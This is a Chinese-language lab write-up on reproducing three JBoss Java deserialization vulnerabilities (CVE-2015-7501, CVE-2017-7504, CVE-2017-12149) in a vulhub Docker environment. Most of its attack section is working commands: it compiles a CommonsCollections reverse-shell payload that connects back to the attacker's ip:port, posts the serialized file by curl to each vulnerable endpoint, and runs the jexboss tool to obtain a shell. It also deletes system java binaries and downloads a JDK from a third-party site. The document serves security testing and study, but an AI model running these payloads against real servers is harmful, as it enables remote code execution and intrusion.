Jboss反序列化漏洞复现
漏洞简介
CVE-2015-7501
JBoss 在 /invoker/JMXInvokerServlet请求中读取了用户传入的对象,从而导致了漏洞。
CVE-2017-7504
JBoss AS 4.x 及之前版本中, JbossMQ 实现过程的 JMS over HTTP Invocation Layer 的HTTPServerILServlet.java 文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
CVE-2017-7504 漏洞与 CVE-2015-7501 的漏洞原理相似,只是利用的路径稍微出现了变化,CVE-2017-7504 出现在 /jbossmq-httpil/HTTPServerILServlet 路径下。
CVE-2017-12149
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter过滤器中没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
环境搭建
直接在docker上用vulhub去搭建,进去找到jboss漏洞的目录,想开哪个开哪个。
复现过程
方式一
因为这三个的复现流程和方式都是一样的,只有访问的接口不同,所以直接改访问的接口就行。以下用CVE-2015-7501来做例子。
1.访问其网址,访问其接口/invoker/JMXInvokerServlet ,发现有东西可以下载,说明这个接口开放,且存在漏洞。
2.去git上下载工具CVE-2015-7501到攻击机上
3.在攻击机上执行各种命令进行攻击。每个反序列化的接口不一样。
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port
(IP是攻击机ip,port是要监听的端口)
//执行攻击
curl http://192.168.42.132:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
//cve-2017-12149
curl http://192.168.42.132:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
//cve-2017-7504
curl http://192.168.42.132:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
注意,这种情况,如果是在内网搭建的机器,可能会弹不回来shell。而且在用java去编译生产ser文件的时候会报错误,如果报错,需要更改java版本。
cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
方式二(简单)
1.下载工具 jexboss
2.进行攻击,然后看见有漏洞,输入yes, 会自己返回shell
python3 jexboss.py -u 网址
免责声明:本文仅限于进行安全测试,请勿使用来作攻击他人电脑,造成损失和违法犯罪行为与作者本人无关。